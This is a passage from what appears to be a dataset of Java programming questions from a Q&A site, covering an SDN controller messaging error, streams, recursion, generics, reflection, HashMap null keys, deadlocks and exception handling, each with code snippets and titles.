the other controller ( HAServer is listening on all ips ) , and the port is the corresponding listening port of HAServer on that machine . By default , HAServer on controller 1 is listening on 4242 , on controller 2 on 4243 , on controller 3 on 4244 … and so on . recv ( ) function is similar to the send function and you will be giving the FROM address to hear back FROM a particular controller . The from address also comprises of two parts , IP : port . The IP is the machine IP address of the other controller ( HAServer is listening on all ips ) , and the port is the corresponding listening port of HAServer on that machine . Ideally , this function is called after calling a corresponding send ( ) function , otherwise , a connection might not have been established , and it will just return an error.Here is the complete code of my module : But after running this code , when c1 receives an ICMP packet , I encounter multiple errors : What 's the problem ? There seems to be something wrong with recv ( ) function . Here is the code of in-built send ( ) and receive functions.send ( ) : recv ( ) : The complete code of NetworkNode module where this send ( ) and recv ( ) function are located , is here and the complete package of High availability support is here ( In case it 's needed )","package net.floodlightcontroller.mactracker ; import java.util.ArrayList ; import java.util.Collection ; import java.util.Map ; import java.util.Set ; import java.util.concurrent.ConcurrentSkipListSet ; import net.floodlightcontroller.core.FloodlightContext ; import net.floodlightcontroller.core.IFloodlightProviderService ; import net.floodlightcontroller.core.IOFMessageListener ; import net.floodlightcontroller.core.IOFSwitch ; import net.floodlightcontroller.core.module.FloodlightModuleContext ; import net.floodlightcontroller.core.module.FloodlightModuleException ; import net.floodlightcontroller.core.module.IFloodlightModule ; import net.floodlightcontroller.core.module.IFloodlightService ; import net.floodlightcontroller.hasupport.IHAControllerService ; import net.floodlightcontroller.hasupport.NetworkNode ; import net.floodlightcontroller.packet.Ethernet ; import net.floodlightcontroller.packet.ICMP ; import net.floodlightcontroller.packet.IPv4 ; import org.projectfloodlight.openflow.protocol.OFMessage ; import org.projectfloodlight.openflow.protocol.OFType ; import org.projectfloodlight.openflow.types.EthType ; import org.projectfloodlight.openflow.types.IpProtocol ; import org.slf4j.Logger ; import org.slf4j.LoggerFactory ; public class Mactracker implements IFloodlightModule , IOFMessageListener { protected static IHAControllerService hacontroller ; protected static Logger logger = LoggerFactory.getLogger ( Mactracker.class ) ; protected IFloodlightProviderService floodlightProvider ; protected Set < Long > macAddresses ; private static NetworkNode network ; @ Override public Collection < Class < ? extends IFloodlightService > > getModuleServices ( ) { // TODO Auto-generated method stub return null ; } @ Override public Map < Class < ? extends IFloodlightService > , IFloodlightService > getServiceImpls ( ) { // TODO Auto-generated method stubs return null ; } @ Override public Collection < Class < ? extends IFloodlightService > > getModuleDependencies ( ) { // TODO Auto-generated method stub Collection < Class < ? extends IFloodlightService > > l = new ArrayList < Class < ? extends IFloodlightService > > ( ) ; l.add ( IFloodlightProviderService.class ) ; l.add ( IHAControllerService.class ) ; return l ; } @ Override public void init ( FloodlightModuleContext context ) throws FloodlightModuleException { // TODO Auto-generated method stub hacontroller = context.getServiceImpl ( IHAControllerService.class ) ; floodlightProvider = context.getServiceImpl ( IFloodlightProviderService.class ) ; macAddresses = new ConcurrentSkipListSet < Long > ( ) ; } @ Override public void startUp ( FloodlightModuleContext context ) throws FloodlightModuleException { // TODO Auto-generated method stub floodlightProvider.addOFMessageListener ( OFType.PACKET_IN , this ) ; // After more than 51 % of configured controllers are started , this function will return , // or when a timeout of 60s is reached , whichever is earlier . hacontroller.pollForLeader ( ) ; } @ Override public String getName ( ) { // TODO Auto-generated method stub return Mactracker.class.getSimpleName ( ) ; } @ Override public boolean isCallbackOrderingPrereq ( OFType type , String name ) { // TODO Auto-generated method stub return false ; } @ Override public boolean isCallbackOrderingPostreq ( OFType type , String name ) { // TODO Auto-generated method stub return false ; } @ Override public net.floodlightcontroller.core.IListener.Command receive ( IOFSwitch sw , OFMessage msg , FloodlightContext cntx ) { // TODO Auto-generated method stub Ethernet eth = IFloodlightProviderService.bcStore.get ( cntx , IFloodlightProviderService.CONTEXT_PI_PAYLOAD ) ; if ( eth.getEtherType ( ) == EthType.IPv4 ) { IPv4 ipv4 = ( IPv4 ) eth.getPayload ( ) ; if ( ipv4.getProtocol ( ) .equals ( IpProtocol.ICMP ) ) { logger.warn ( `` ICMP Packet Received ! : - ) '' ) ; ICMP icmp = ( ICMP ) ipv4.getPayload ( ) ; logger.warn ( `` icmp.getIcmpType : `` +icmp.getIcmpType ( ) ) ; hacontroller.send ( `` 127.0.0.1:4243 '' , `` mHelloWorld '' ) ; hacontroller.recv ( `` 127.0.0.1:4242 '' ) ; } } Long sourceMACHash = eth.getSourceMACAddress ( ) .getLong ( ) ; if ( ! macAddresses.contains ( sourceMACHash ) ) { macAddresses.add ( sourceMACHash ) ; logger.info ( `` MAC Address : { } seen on switch : { } '' , eth.getSourceMACAddress ( ) .toString ( ) , sw.getId ( ) .toString ( ) ) ; } return Command.CONTINUE ; } } 2018-09-13 00:39:56.716 WARN [ n.f.m.Mactracker ] ICMP Packet Received ! : - ) 2018-09-13 00:39:56.716 WARN [ n.f.m.Mactracker ] icmp.getIcmpType : 02018-09-13 00:39:56.716 INFO [ n.f.h.NetworkNode ] [ NetworkNode ] Sending : mHelloWorld sent through port : 127.0.0.1:42432018-09-13 00:39:56.720 WARN [ i.n.c.DefaultChannelPipeline ] An exceptionCaught ( ) event was fired , and it reached at the tail of the pipeline . It usually means the last handler in the pipeline did not handle the exception.java.lang.NullPointerException : null at net.floodlightcontroller.hasupport.NetworkNode.recv ( NetworkNode.java:535 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.hasupport.HAController.recv ( HAController.java:190 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.mactracker.Mactracker.receive ( Mactracker.java:121 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.Controller.handleMessage ( Controller.java:411 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFSwitchManager.handleMessage ( OFSwitchManager.java:487 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFSwitchHandshakeHandler.dispatchMessage ( OFSwitchHandshakeHandler.java:1752 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFSwitchHandshakeHandler.access $ 24 ( OFSwitchHandshakeHandler.java:1751 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFSwitchHandshakeHandler $ MasterState.processOFPacketIn ( OFSwitchHandshakeHandler.java:1488 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFSwitchHandshakeHandler $ OFSwitchHandshakeState.processOFMessage ( OFSwitchHandshakeHandler.java:839 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFSwitchHandshakeHandler.processOFMessage ( OFSwitchHandshakeHandler.java:1790 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFSwitchHandshakeHandler.messageReceived ( OFSwitchHandshakeHandler.java:1964 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFConnection.messageReceived ( OFConnection.java:414 ) ~ [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFChannelHandler.sendMessageToConnection ( OFChannelHandler.java:579 ) [ floodlight.jar:1.2-SNAPSHOT ] at net.floodlightcontroller.core.internal.OFChannelHandler.access $ 9 ( OFChannelHandler.java:578 ) [ floodlight.jar:1.2-SNAPSHOT ] /** * Sends a message to a specified client IP : port , if possible . * * @ return boolean value that indicates success or failure . */ @ Overridepublic Boolean send ( String clientPort , String message ) { if ( message.equals ( null ) ) { return Boolean.FALSE ; } clientSock = socketDict.get ( clientPort ) ; try { logger.info ( `` [ NetworkNode ] Sending : `` +message+ '' sent through port : `` +clientPort.toString ( ) ) ; clientSock.send ( message ) ; return Boolean.TRUE ; } catch ( Exception e ) { if ( clientSock.getSocketChannel ( ) ! = null ) { clientSock.deleteConnection ( ) ; } logger.debug ( `` [ NetworkNode ] Send Failed : `` + message + `` not sent through port : `` + clientPort.toString ( ) ) ; return Boolean.FALSE ; } } /** * Receives a message from the specified IP : port , if possible . * * @ return String containing the received message . */ @ Overridepublic String recv ( String receivingPort ) { clientSock = socketDict.get ( receivingPort ) ; try { response = clientSock.recv ( ) ; response.trim ( ) ; logger.info ( `` [ NetworkNode ] Recv on port : '' +receivingPort.toString ( ) +response ) ; return response ; } catch ( Exception e ) { if ( clientSock.getSocketChannel ( ) ! = null ) { clientSock.deleteConnection ( ) ; } logger.debug ( `` [ NetworkNode ] Recv Failed on port : `` + receivingPort.toString ( ) ) ; return `` '' ; } }",sending a message from controller1 to controller2 +Java,"I have one list which contains some String values . I want to iterate the list comparing with another String . Only if another String does n't match with any element in the list , then I should enter the loop . I tried something like below , but it did n't worked . Any other alternate approach to do the same in Java 8 ? Note : In the loop I 'm adding some more elements to the same list . Hence , to avoid ConcurrentModificationException , I 'm using a if-condition for my validation .",List < String > mylist = new ArrayList < > ( ) ; mylist.add ( `` test '' ) ; mylist.add ( `` test1 '' ) ; if ( mylist.stream ( ) .filter ( str - > ! ( str.equalsIgnoreCase ( `` test '' ) ) ) .findFirst ( ) .isPresent ( ) ) { System.out.println ( `` Value is not Present '' ) ; },List filter in Java8 using isPresent method +Java,"When executing the code pasted below in Eclipse , approximately 1 out of 3 times I encounter the following exception : The other 2 times , it spits out the result as intended ( the times vary slightly between each run ) : Why does the exception only happen ( seemingly ) ~30 % of the time ? Here 's the code :",Exception in thread `` main '' java.lang.StackOverflowError at src.Adder.recursiveSumAllNumbersUpTo ( Driver.java:33 ) at src.Adder.recursiveSumAllNumbersUpTo ( Driver.java:37 ) ... * ( there are 1024 lines in this stack ) * Recursive : 467946Non Recursive : 61282Difference between recursive and non-recursive : 406664Sum from recursive add : 19534375Sum from non-recursive add : 19534375 public class Driver { public static void main ( String [ ] args ) { Adder adder = new Adder ( ) ; int valueToSumTo = 6250 ; long startTime = System.nanoTime ( ) ; int raSum = adder.recursiveAddAllNumbersUpTo ( valueToSumTo ) ; long endTime = System.nanoTime ( ) ; long raDif = endTime - startTime ; System.out.println ( `` Recursive : `` + ( raDif ) ) ; startTime = System.nanoTime ( ) ; int nonRaSum = adder.nonRecursiveAddAllNumbersUpTo ( valueToSumTo ) ; endTime = System.nanoTime ( ) ; long nonRaDif = endTime - startTime ; System.out.println ( `` Non Recursive : `` + ( nonRaDif ) ) ; System.out.println ( `` Difference between recursive and non-recursive : `` + ( raDif - nonRaDif ) ) ; System.out.println ( `` Sum from recursive add : `` + raSum ) ; System.out.println ( `` Sum from non-recursive add : `` + nonRaSum ) ; } } class Adder { public int recursiveAddAllNumbersUpTo ( int i ) { if ( i == 1 ) { return i ; } return i + recursiveAddAllNumbersUpTo ( i - 1 ) ; } public int nonRecursiveAddAllNumbersUpTo ( int i ) { int count = 0 ; for ( int num = 1 ; num < = i ; num++ ) { count += num ; } return count ; } },Occasional StackOverflowError in Recursive Calculation +Java,"Section 10.2 of Java conventions recommends using class names instead of objects to use static variables or methods , i.e . MyClass.variable1 or MyClass.methodName1 ( ) instead of There is no explanation of the rationale behind this , although I suspect this has something to do with memory use . It would be great if someone could explain this .",MyClass Obj1 = new MyClass ( ) ; Obj1.variable1 ; Obj1.methodName1 ( ) ;,Java convention on reference to methods and variables +Java,"I need to replace some characters in a string : Each DOT to Underscore.Simply do : myString.replace ( `` . `` , '' _ '' ) ; which works.However , I want to use CharMatcher from Guava , which supposed to have better performance.It runs on a sever with many threads.Can I make dotCharMatcher a static field in the class that uses it , or should I create one in each request ? ( is it thread safe ? ) Thanks","CharMatcher dotCharMatcher = CharMatcher.anyOf ( `` . `` ) ; dotCharMatcher.replaceFrom ( myString , `` _ '' ) ;",use Guava CharMatcher as a static fields in a class . Is CharMatcher thread safe ? +Java,"Currently , I 'm having Using my Android 4.1 , this provides me date in format ( In my localization . It may look different for other countries ) 19/07/2013However , sometimes I would like to have a much shorter version like 19/07/13I do not want to hard code asdd/MM/yyAs the above way would not portable across different countries . Some countries , their month come before date.Is there any portable way to achieve so ? p/s Not only month/date order . There might be other problem as well . For instance , China is using 19-07-13 or 19-07-2013 . There might be more edge cases for other countries , but I do n't know .",private ThreadLocal < DateFormat > shortDateFormat = new ThreadLocal < DateFormat > ( ) { @ Override protected DateFormat initialValue ( ) { final DateFormat format = DateFormat.getDateInstance ( DateFormat.SHORT ) ; return format ; } } ;,Portable way to guarantee that the year field of a DateFormat is only two digits +Java,I have n't understood the reason why integer is treated as string literal in concatenation . E.g.The output is : 40 Sachin 4040.Why 40+40 is not getting added and why 10+30 is getting added ?,String s=10+30+ '' Sachin `` +40+40 ; System.out.println ( s ) ;,"After a string literal , all the + will be treated as string concatenation operator why ?" +Java,"I 'm a naughty programmer , and until now I have n't handled errors properly ( e.g . just catching a java.lang.Exception , printing a debug message , and moving on ) . When I do `` handle '' them , it 's simply been to shut the compiler up.I 've recently learned the error ( haha ) of my ways , and would like to start doing it right . So I 'm researching it here and other places ( via Google searches ) .Suppose I have a block of code which does the following : From what I 've gathered , the proper way to handle this is : This seems pretty straightforward to me , but it seems to get messy when I have a long block of code which throws various errors throughout . I seem to wind up with just one giant try/catch around my whole method ! The alternative seems to be : This looks really nasty . In cases like this , I 've considered doing something like the following : ... and then just calling doSomething_andHandleErrors ( ) ; from outside . Is this a 'good ' practice ? Am I falling into some anti-pattern ? Thanks !","... x.method1 ( ) ; // throws ExceptionTypeA ... y.method2 ( ) ; // throws ExceptionTypeB ... z.method3 ( ) ; // throws ExceptionTypeC ... x.method4 ( ) ; // throws ExceptionTypeA ( again ) ... try { ... x.method1 ( ) ; // throws ExceptionTypeA ... y.method2 ( ) ; // throws ExceptionTypeB ... z.method3 ( ) ; // throws ExceptionTypeC ... x.method4 ( ) ; // throws ExceptionTypeA ( again ) ... } catch ( ExceptionTypeA e ) { // do something about condition A } catch ( ExceptionTypeB e ) { // do something about condition B } catch ( ExceptionTypeC e ) { // do something about condition C } try { ... x.method1 ( ) ; // throws ExceptionTypeA ... } catch ( ExceptionTypeA e ) { // do something about condition A } try { ... y.method2 ( ) ; // throws ExceptionTypeB ... } catch ( ExceptionTypeB e ) { // do something about condition A } try { ... z.method3 ( ) ; // throws ExceptionTypeC ... } catch ( ExceptionTypeC e ) { // do something about condition C } try { ... x.method4 ( ) ; // throws ExceptionTypeA ... } catch ( ExceptionTypeA e ) { // do something about condition A } private void doSomething ( ) throws exceptionTypeA , exceptionTypeB , exceptionTypeC { ... x.method1 ( ) ; // throws ExceptionTypeA ... y.method2 ( ) ; // throws ExceptionTypeB ... z.method3 ( ) ; // throws ExceptionTypeC ... x.method4 ( ) ; // throws ExceptionTypeA ( again ) ... } public void doSomething_andHandleErrors ( ) { try { this.toSomething ( ) ; } catch ( ExceptionTypeA e ) { // do something about condition A } catch ( ExceptionTypeB e ) { // do something about condition B } catch ( ExceptionTypeC e ) { // do something about condition C } }",Error handling - is this a decent pattern ? +Java,"This a follow-up to chrert 's question Generic classes with Collection getter of other types . If you can come up with a better title to my question , feel free to edit it : Following code contains a generic class GenericClass < T > with a method of return type T and another method with return type Collection < String > , which is obviously independent of T. Now , if I instantiate a raw GenericClass ( which I would never do , so this question is more a theoretical question , to help understand what 's going on ) then calling that method in an enhanced for loop wo n't work , because all generic type information seem to get lost when using raw types . But then , when calling that same method in an assignment , it works ( it warns about type unsafety , but it compiles ) .In my point of view , either both should n't work , or both should work . I do n't understand why one works , and the other does n't . Do you have any hints , or know any parts of the JLS that explain this behavior ? There is a related question , which , together with the accepted answer here , explains what 's going on pretty good : Why wo n't this generic java code compile ?",public class GenericClass < T > { T doSomething ( ) { return null ; } Collection < String > getCollection ( ) { return Collections.emptyList ( ) ; } public static void main ( String [ ] args ) { GenericClass raw = new GenericClass ( ) ; // This will not compile ( Error message below ) for ( String str : raw.getCollection ( ) ) { // Type mismatch : can not convert from element type Object to String } // This is only a warning : // Type safety : The expression of type Collection needs unchecked conversion to conform to Collection < String > Collection < String > coll = raw.getCollection ( ) ; for ( String string : coll ) { // works just fine } } },Raw types with generic methods independent of the generic type +Java,"In java generics context , a raw type is a non-parameterized invocation of a generic type . They also say that any non-generic type is not a raw type.My confusion is , why they say that non-generic type is not a raw type ? How is it different from a non-parameterized invocation of a generic type . Consider the following 2 cases . Case 1 : Case 2 : If variable `` a '' behaves identically in both cases , why do they say case [ 1 ] is raw type while case [ 2 ] is not ?",class A < T > { } A a = new A ( ) ; //Raw type class A { } A a = new A ( ) ; //Non-generic type,Java Generics - How is a raw type different from a non generic type +Java,"I have been faced in some of my Unit test with a strange behaviour with Reflection on final static field . Below is an example illustrating my issue.I have a basic Singleton class that holds an IntegerMy test case is looping and setting through Reflection the VALUE to the iteration index and then asserting that the VALUE is rightfully equal to the iteration index.The result is quite surprising because it 's not constant , my test fails around iteration ~1000 but it never seems to be always the same.Anyone has already faced this issue ?","public class BasicHolder { private static BasicHolder instance = new BasicHolder ( ) ; public static BasicHolder getInstance ( ) { return instance ; } private BasicHolder ( ) { } private final static Integer VALUE = new Integer ( 0 ) ; public Integer getVALUE ( ) { return VALUE ; } } class TestStaticLimits { private static final Integer NB_ITERATION = 10_000 ; @ Test void testStaticLimit ( ) { for ( Integer i = 0 ; i < NB_ITERATION ; i++ ) { setStaticFieldValue ( BasicHolder.class , `` VALUE '' , i ) ; Assertions.assertEquals ( i , BasicHolder.getInstance ( ) .getVALUE ( ) , `` REFLECTION DID NOT WORK for iteration `` +i ) ; System.out.println ( `` iter `` + i + `` ok '' ) ; } } private static void setStaticFieldValue ( final Class obj , final String fieldName , final Object fieldValue ) { try { final Field field = obj.getDeclaredField ( fieldName ) ; field.setAccessible ( true ) ; final Field modifiersField = Field.class.getDeclaredField ( `` modifiers '' ) ; modifiersField.setAccessible ( true ) ; modifiersField.setInt ( field , field.getModifiers ( ) & ~Modifier.FINAL ) ; field.set ( null , fieldValue ) ; } catch ( NoSuchFieldException | IllegalAccessException e ) { throw new RuntimeException ( `` Error while setting field [ `` + fieldName + `` ] on object `` + obj + `` Message `` + e.getMessage ( ) , e ) ; } } }",Is there a limit to overriding final static field with Reflection ? +Java,"Here is my program . I am not sure why I am getting a compile time error.But the following program works fineError from Eclipse : Here is the error description from Eclipse : The method add ( int , capture # 1-of ? extends Number ) in the type List is not applicable for the arguments ( int )",import java.util.ArrayList ; import java.util.List ; public class Test { public static void main ( String [ ] args ) { List < ? extends Number > list = new ArrayList < Integer > ( ) ; list.add ( 6 ) ; // Compile Time Error System.out.println ( list ) ; } } import java.util.ArrayList ; import java.util.List ; public class Test { public static void main ( String [ ] args ) { List < ? super Number > list = new ArrayList < Number > ( ) ; list.add ( 6 ) ; System.out.println ( list ) ; } },Generics in Collection +Java,"I am using Eclipse Luna Service Release 2 ( 4.4.2 ) , Java 8 u51.I 'm trying to create a method which will create instances of a passed object based on another method parameter . The prototype is simplified to On line with Function declaration eclipse reports Unhandled exception type InvocationTargetException compiler error . I need the Function to later use in a stream . I tried to add various try/catch blocks , throws declarations , but nothing fixes this compiler error.How to make this code work ?","public < T > T test ( Object param , T instance ) { Constructor < ? > constructor = instance.getClass ( ) .getConstructors ( ) [ 0 ] ; // I actually choose a proper constructor // eclipse reports `` Unhandled exception type InvocationTargetException '' Function < Object , Object > createFun = constructor : :newInstance ; T result = ( T ) createFun.apply ( param ) ; return result ; }",Java 8 functional constructor from templated object +Java,"I am getting NullPointerException in one instance below while its counterpart runs smooth.Online versionOnline version with the lines in main reversed , which outputs null from withIfElse and then fails in withTernary.I am using following java version","public static void main ( String [ ] args ) { System.out.println ( withTernary ( null , null ) ) ; //Null Pointer System.out.println ( withIfElse ( null , null ) ) ; //No Exception } private static Boolean withTernary ( String val , Boolean defVal ) { return val == null ? defVal : `` true '' .equalsIgnoreCase ( val ) ; } private static Boolean withIfElse ( String val , Boolean defVal ) { if ( val == null ) return defVal ; else return `` true '' .equalsIgnoreCase ( val ) ; } java version `` 1.6.0_65 '' Java ( TM ) SE Runtime Environment ( build 1.6.0_65-b14-462-11M4609 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 20.65-b04-462 , mixed mode )",Why ternary operation gives nullpointer while its ifelse counterpart does n't ? +Java,"I have been researching on how to develop an application that can load plugins.So far , I 've seen that this can be done by defining an Interface , and have the plugins implement it.However , my current issue is on how to load the plugins when they 're packed in Jars . Is there a `` best '' way to do it ? The current logic I 'm thinking of is to get each plugin and inside their Jar look for the class that implements the Interface . But I do n't know how to do such lookup . I think that this logic may not be a good one , but I could n't find any useful information on this specific topic . **Edit1 : **Adding more information : The intended plugins would be Jar files contained inside a subdirectory where the main application 's Jar would be located , like this : Application 's folder|- Main_Application.jar|- Plugins |- Plugin1.jar |- Plugin2.jar |- Steve's_plugin.jarAnd so on.What I expect is that the Application will be able to load all plugins inside the folder at runtime . So in the code , it would only be aware that the plugin 's folder should exist and there should be Jars inside such folder.Let 's say I have a plugin interface like this : Plugins would be identified by a class that implements such interface , like soThe Application should be compiled only once , and be able to load any Plugins added to the folder when it is executed.For the Application to be able to load any Plugin , do I need to establish rules on the contents of the Jar , like package name and the class that implements the interface ? Or it is expected that the class implementing the plugin interface could be in any package within the Jar , and have any name ? This is the more generic approach to what I would like to do with such plugins . In short , I 'm planning to build an Application that will have tabs , and each plugin will provide the Interface and Functionality of each tab . I 'm trying this because I want to be able to maintain each tab separately , and do n't want to recompile the whole application because of changes in only one component that do n't affect the others at all .",interface Plugin { public void run ( ) ; } class Plugin1 implements Plugin { //attributes and other methods @ override public void run ( ) { //something happens here } } class Plugin2 implements Plugin { //attributes and other methods @ override public void run ( ) { //something happens here } },Developing application with plugin support in Java +Java,"Note : this question is not related to java.util.Optional.When dealing with streams , I often use logic like this : What I am trying to achieve is converting the code above to a single-expression using chaining . I find this more readable and straight forward.Until now , the only way I found to achieve that was : Still , this would make unnecessary calls to those trivial c- > true lamdas , which might produce some performance cost when scaling up.So my question is : is there a better way of producing chained stream expressions that include optional filtering ? UPDATE : Maybe I did not make it clear enough , but the point of my question is finding a single-expression solution . If I have to use multiple statements ( to initialize a predicate , for example ) , I could also use the first code-block of my question which essentially does the same .",Stream < FooBar > stream = myInitialStream ( ) ; if ( needsFilter1 ) stream = stream.filter ( c - > whatever1 ( ) ) ; if ( needsFilter2 ) stream = stream.filter ( c - > whatever2 ( ) ) ; ... return stream.collect ( toList ( ) ) ; return myInitialStream ( ) .filter ( needsFilter1 ? c- > whatever1 ( ) : c- > true ) .filter ( needsFilter2 ? c- > whatever2 ( ) : c- > true ) .collect ( toList ( ) ) ;,Java stream : use optional filter ( ) operations on chaining +Java,"I found that some code is changed for null keys in class HashMap in JDK 1.6 or above version compared to the previous JDK version , like 1.5.In JDK1.5 , a static final Object named NULL_KEY is defined : static final Object NULL_KEY = new Object ( ) ; Methods , including maskNull , unmaskNull , get and put etc , will use this object . SeeHowever , such Object ( NULL_KEY ) is not used in JDK 1.6 or above version.Instead , two new methods named getForNullKey ( ) and putForNullKey ( value ) is added , which are applied in get and put method as well.See the source code as follows : Change always has its reason for changing , such as improving the performance etc . Please help me out with the following 2 questionQ # 1 == > Why this change is made , is there some scenario that the null keys of HashMap implemented in JDK 1.5 encouneters issue ? Q # 2 == > What is the advantage of null keys mechanism change of HashMap in JDK 1.6 or above version ?","static final Object NULL_KEY = new Object ( ) ; static < T > T maskNull ( T key ) { return key == null ? ( T ) NULL_KEY : key ; } static < T > T unmaskNull ( T key ) { return ( key == NULL_KEY ? null : key ) ; } public V get ( Object key ) { Object k = maskNull ( key ) ; int hash = hash ( k ) ; int i = indexFor ( hash , table.length ) ; Entry < K , V > e = table [ i ] ; while ( true ) { if ( e == null ) return null ; if ( e.hash == hash & & eq ( k , e.key ) ) return e.value ; e = e.next ; } } public V put ( K key , V value ) { K k = maskNull ( key ) ; int hash = hash ( k ) ; int i = indexFor ( hash , table.length ) ; for ( Entry < K , V > e = table [ i ] ; e ! = null ; e = e.next ) { if ( e.hash == hash & & eq ( k , e.key ) ) { V oldValue = e.value ; e.value = value ; e.recordAccess ( this ) ; return oldValue ; } } modCount++ ; addEntry ( hash , k , value , i ) ; return null ; } public V get ( Object key ) { if ( key == null ) return getForNullKey ( ) ; Entry < K , V > entry = getEntry ( key ) ; return null == entry ? null : entry.getValue ( ) ; } private V getForNullKey ( ) { for ( Entry < K , V > e = table [ 0 ] ; e ! = null ; e = e.next ) { if ( e.key == null ) return e.value ; } return null ; } public V put ( K key , V value ) { if ( key == null ) return putForNullKey ( value ) ; int hash = hash ( key ) ; int i = indexFor ( hash , table.length ) ; for ( Entry < K , V > e = table [ i ] ; e ! = null ; e = e.next ) { Object k ; if ( e.hash == hash & & ( ( k = e.key ) == key || key.equals ( k ) ) ) { V oldValue = e.value ; e.value = value ; e.recordAccess ( this ) ; return oldValue ; } } modCount++ ; addEntry ( hash , key , value , i ) ; return null ; } /** * Offloaded version of put for null keys */private V putForNullKey ( V value ) { for ( Entry < K , V > e = table [ 0 ] ; e ! = null ; e = e.next ) { if ( e.key == null ) { V oldValue = e.value ; e.value = value ; e.recordAccess ( this ) ; return oldValue ; } } modCount++ ; addEntry ( 0 , null , value , 0 ) ; return null ; }",What is the advantage of null keys mechanism change of HashMap in JDK 1.6 or above version ? +Java,"I 'm trying to write very simple program which will imitate simple DeadLock , where Thread A waits for Resource A locked by Thread B and Thread B waits for Resource B locked by Thread A.Here is my code : This is my runnable which performs Operation on the resource above : and finally my main class : Why does this code run execute successfully and I do n't have and deadLock ?","//it will be my Shared resourcepublic class Account { private float amount ; public void debit ( double amount ) { this.amount-=amount ; } public void credit ( double amount ) { this.amount+=amount ; } } public class BankTransaction implements Runnable { Account fromAccount , toAccount ; float ammount ; public BankTransaction ( Account fromAccount , Account toAccount , float ammount ) { this.fromAccount = fromAccount ; this.toAccount = toAccount ; this.ammount = ammount ; } private void transferMoney ( ) { synchronized ( fromAccount ) { synchronized ( toAccount ) { fromAccount.debit ( ammount ) ; toAccount.credit ( ammount ) ; try { Thread.sleep ( 500 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } System.out.println ( `` Current Transaction Completed ! ! ! `` ) ; } } } @ Override public void run ( ) { transferMoney ( ) ; } } public static void main ( String [ ] args ) { Account a = new Account ( ) ; Account b = new Account ( ) ; Thread thread1 = new Thread ( new BankTransaction ( a , b,500 ) ) ; Thread thread2 = new Thread ( new BankTransaction ( b , a,500 ) ) ; thread1.start ( ) ; thread2.start ( ) ; System.out.println ( `` Transactions Completed ! ! ! `` ) ; } }",Java for newbies - DeadLock imitation +Java,"I am looking at this https : //docs.oracle.com/javase/tutorial/java/generics/subtyping.html and https : //docs.oracle.com/javase/tutorial/java/generics/inheritance.html and ask myself how it could be implemented in C++ . I have this small example to illustrate : I understand why it does not work in C++ . In Java , the solution is to use the following construction : ( given that Integer is a subclass of Number as pointed out in the example links ) .Using : might be solution but is there a better way to do that in C++ without loosing the fact that Cat or Dog inherits from Animal ( as Integer is a subtype of Number ) ? Thank you .","# include < iostream > class Animal { public : virtual std : :string type ( ) const = 0 ; virtual ~Animal ( ) { } } ; class Dog : public Animal { public : virtual std : :string type ( ) const { return `` I am a dog '' ; } } ; class Cat : public Animal { public : virtual std : :string type ( ) const { return `` I am a cat '' ; } } ; template < typename T > class AnimalFarm { } ; void farmTest ( const AnimalFarm < Animal * > & farm ) { std : :cout < < `` test farm '' ; } int main ( int argc , char *argv [ ] ) { AnimalFarm < Dog * > dogFarm ; AnimalFarm < Animal * > animalFarm ; farmTest ( animalFarm ) ; // OK farmTest ( dogFarm ) ; // NOK compiler error as class AnimalFarm < Dog * > does not inherits from class AnimalFarm < Animal * > return 0 ; } List < ? extends Integer > intList = new ArrayList < > ( ) ; List < ? extends Number > numList = intList ; // OK. List < ? extends Integer > is a subtype of List < ? extends Number > template < typename U > void farmTest ( const AnimalFarm < U * > & farm ) ;",Is there an equivalent of the Java < ? extends ClassName > in C++ ? +Java,"I want to implement something like below code to validate inputs in my @ RestController so that I can avoid explicit null checks , However I am stuck .",public @ ResponseBody Response getCityDetails ( @ RequestParam ( `` city '' ) final String city ) { Optional.of ( city ) .ifPresent ( name - > { // return value return service.getDetails ( name ) ; } ) .orElseThrow ( //some Exception ) ; },How to use Java 8 Optional properly that can conditionally return a value or throw exception ? +Java,"I try to parallelize some work with Java Streams . Let 's consider this simple example : The problem is that it does not call the accept method for forEachOrdered , it only works if I use forEach . I guess that the problem is that Stream.generate internally creates InfiniteSupplyingSpliterator that does not have ORDERED characteristic.The question is why ? It seems like we know in which order the data is generated . The second question is how to do forEachOrdered on parallelized stream with generation of the stream elements ?",Stream.generate ( new Supplier < Integer > ( ) { @ Override public Integer get ( ) { return generateNewInteger ( ) ; } } ) .parallel ( ) .forEachOrdered ( new Consumer < Integer > ( ) { @ Override public void accept ( Integer integer ) { System.out.println ( integer ) ; } } ) ;,Why is Java Stream generator unordered ? +Java,"Possible Duplicate : What is the relative performance difference of if/else versus switch statement in Java ? Given the following two methods : testing shows that the switch executes marginally faster ( 1.4 nanoseconds per call on my machine ) than the if version.I had always believed that the benefit of a switch did n't kick in until at least a few ifs could be avoided , Why is switch faster than a single if ?",public static int useSwitch ( int i ) { switch ( i ) { case 0 : return 1 ; default : return 0 ; } } public static int useIf ( int i ) { if ( i == 0 ) return 1 ; return 0 ; },Why is a single `` if '' slower than `` switch '' ? +Java,"For the following snippet of code : The compiler is OK with the first call , but complains if I uncomment the second . Is this a bug in the type inference system , or can someone explain why the inference rules in the JLS fail here ? Tested on both 6u43 and 7u45 Oracle JDKs.UPDATE : Seems like eclipsec accepts it just fine . Unfortunately I ca n't really change up our toolchain : P , but it is interesting to find differences in the compilers.The error message , as printed by ideone ( cool tool btw ) : UPDATE 2 : This compiles fine , which indicates that the compiler does think BoundedI2 < ? > is assignable to Interface1 < ? extends Bound > , which 